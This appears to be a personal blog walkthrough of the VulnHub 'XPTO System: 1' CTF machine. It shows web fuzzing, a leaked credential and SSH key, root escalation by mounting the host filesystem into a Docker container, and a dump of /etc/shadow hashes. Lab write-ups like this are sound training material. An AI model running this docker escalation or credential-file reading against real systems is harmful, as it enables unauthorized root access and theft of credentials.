Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub XPTO System: 1 Walkthrough

https://www.vulnhub.com/entry/xpto-system-1,635/


Scan ports, 80 and 1337(ssh) are open.

图片.png


Nmap told us there is ".git" folder, then I use GitTools, but get nothing useful.

We continue to scan port 80.

图片.png


Check source code of login.php, we notice there should be a README file.

图片.png


We use wfuzz to get the extension of README file.

┌──(kali㉿mykali)-[~/Documents/xptosystem]
└─$ wfuzz -w /usr/share/seclists/Fuzzing/extensions-compressed.fuzz.txt  --hh 276 "http://192.168.33.130/README.FUZZ"                                                                                              
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. 
 Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://192.168.33.130/README.FUZZ
Total requests: 186
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                  
=====================================================================
000000081:   200        23 L     53 W       363 Ch      "md"                                     
Total time: 0
Processed Requests: 186
Filtered Requests: 185
Requests/sec.: 0



Check the content of README.md, find a usrname:password pair, and a folder "/delete-me".

┌──(kali㉿mykali)-[~/Documents/xptosystem]
└─$ curl http://192.168.33.130/README.md
#TODO
- Consertar a pagina de logout
- Criar a pagina de dashboard pos login
#Comandos uteis
##Start container
$ docker run --name webserver -d -p 80:80 -v ~/http:/var/www/html php:apache
##Stop container
$ docker stop webserver
##Start container
$ docker start webserver
##Image list
$ docker images
##Credential
web:pipocadoce
### View Access
/delete-me


  Visit /delete-me, we get a ssh private key.

┌──(kali㉿mykali)-[~/Documents/xptosystem]
└─$ curl http://192.168.33.130/delete-me/
<html>
<head>
  <title>Key for Access</title>
</head>
<body>
<h2>Follow access data for server</h2>
<pre>
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC13HPc3c
tLDiaRrkdVlYzNAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQC7NKnI03+l
...
wI21jo1EbjVLKbJrIQEJFGzmPLBUEspriCY3BTIdXNl1jxgUZ4RRR6hirIjm66DZIfrK/d
yO+JHU72kIccUQTAI3EMmtkxI3b6u+Y1BpKyKKq/BVLlhQnrUpXqPuJCJEz9cqQ8gRNmaa
zq6sb9anB+QPpgBYUdUOVZ9nwzfAw=
</pre>
<h1>Good Luck ;)</h1>
</body>
</html>



Download the ssh key data as file id_rsa, and modify it to the right format (add the BEGIN and END lines). Don't forget to chmod 600.

┌──(kali㉿mykali)-[~/Documents/xptosystem]
└─$ cat id_rsa                              
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC13HPc3c
...
yO+JHU72kIccUQTAI3EMmtkxI3b6u+Y1BpKyKKq/BVLlhQnrUpXqPuJCJEz9cqQ8gRNmaa
zq6sb9anB+QPpgBYUdUOVZ9nwzfAw=
-----END OPENSSH PRIVATE KEY-----

  

Now we can enter ssh as user "web", with the password of the ssh key.

In home folder, there is remember.txt, we can find the password of another user, which is a rabbit hole.

图片.png


I enum a lot, but can not get root. Then let's check the author's note on VulnHub.

Our goal is to get a hidden directory, the directory's name is the password of root.

图片.png


Good thing is, user "web" is in docker group.

图片.png


There is only one image and one container on the machine, which is the web server.

图片.png


We can mount the root folder into docker, when we can have root privilege at the same time.

web@xptosystem:~$ docker run -v /:/mnt -i -t php:apache /bin/bash
root@e07d13fc2299:/var/www/html# cd /mnt/root
root@e07d13fc2299:/mnt/root# ls -la
total 24
drwx------  3 root root 4096 Sep  3  2020 .
drwxr-xr-x 18 root root 4096 Mar 16 02:40 ..
-rw-------  1 root root   10 Dec 17 21:18 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Aug 20  2020 .local
-rw-r--r--  1 root root  290 Aug 20  2020 .profile
root@e07d13fc2299:/mnt/root#

Then we can get the root password hash.

root@e07d13fc2299:/mnt/root# cd /mnt/etc
root@e07d13fc2299:/mnt/etc# cat shadow
root:$6$o/k7d563qPPliQWL$cc4vN4uZ6dmh4YoP/pnHdZz3xZExq1N.J83sfWRJy3wdIrXKjTPER3bcQKDaHYBjA/6EsA6c9Zj5zGL3VLEMm1:18508:0:99999:7:::
daemon:*:18494:0:99999:7:::
...
sshd:*:18494:0:99999:7:::
systemd-coredump:!!:18494::::::
web:$6$6caYruQd7gWLfrGs$w.VkTioPN.TvWEZ1lTsj/QSzGoMHxHmTSJUHQrLvQ0k5Dll/A.wDevhJQR2bMIZqgTAJd0dq9K3PLFjhX1Lj7.:18494:0:99999:7:::
sysdev:$6$CMnj1i3VnF0Dev7p$4LssZsU4sW7cRVf7tEcth4vmB8umVzae6FLTrEDQI.SFJFeVme.uTe5Ws8GxpZO5cXRUAD8kcbJYuxIL2AX0e/:18508:0:99999:7:::
root@e07d13fc2299:/mnt/etc#

We can burte force the password hash, but I prefer find other ways.

Let's find a special directory that made less than 4 months. ( Because the author made the machine Dec. 2020)

We need "-not -path" to filter some folders/files we don't need.

Here is my command in docker.

root@e07d13fc2299:/mnt/etc# find /mnt/ -mtime -120 -not -path "/mnt/proc/*" -not -path "/mnt/sys/*" -not -path "/mnt/var/lib/docker/*" -not -path "/mnt/run/*"


Then we get a strange folder.

图片.png


If we directly visit the folder in VM, we have no access.

图片.png


In docker, we can read the secret file in this folder. (And this folder's name is really in rockyou.txt, so we can brute force it.)

Check the file type, it's PDF.

图片.png


We can copy the secret file to /mnt/tmp of docker, which is /tmp folder of the VM.

And chmod 666 so we can read it.

图片.png


At last, we download the secret file from VM, and open it. Here is the flag.

图片.png

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0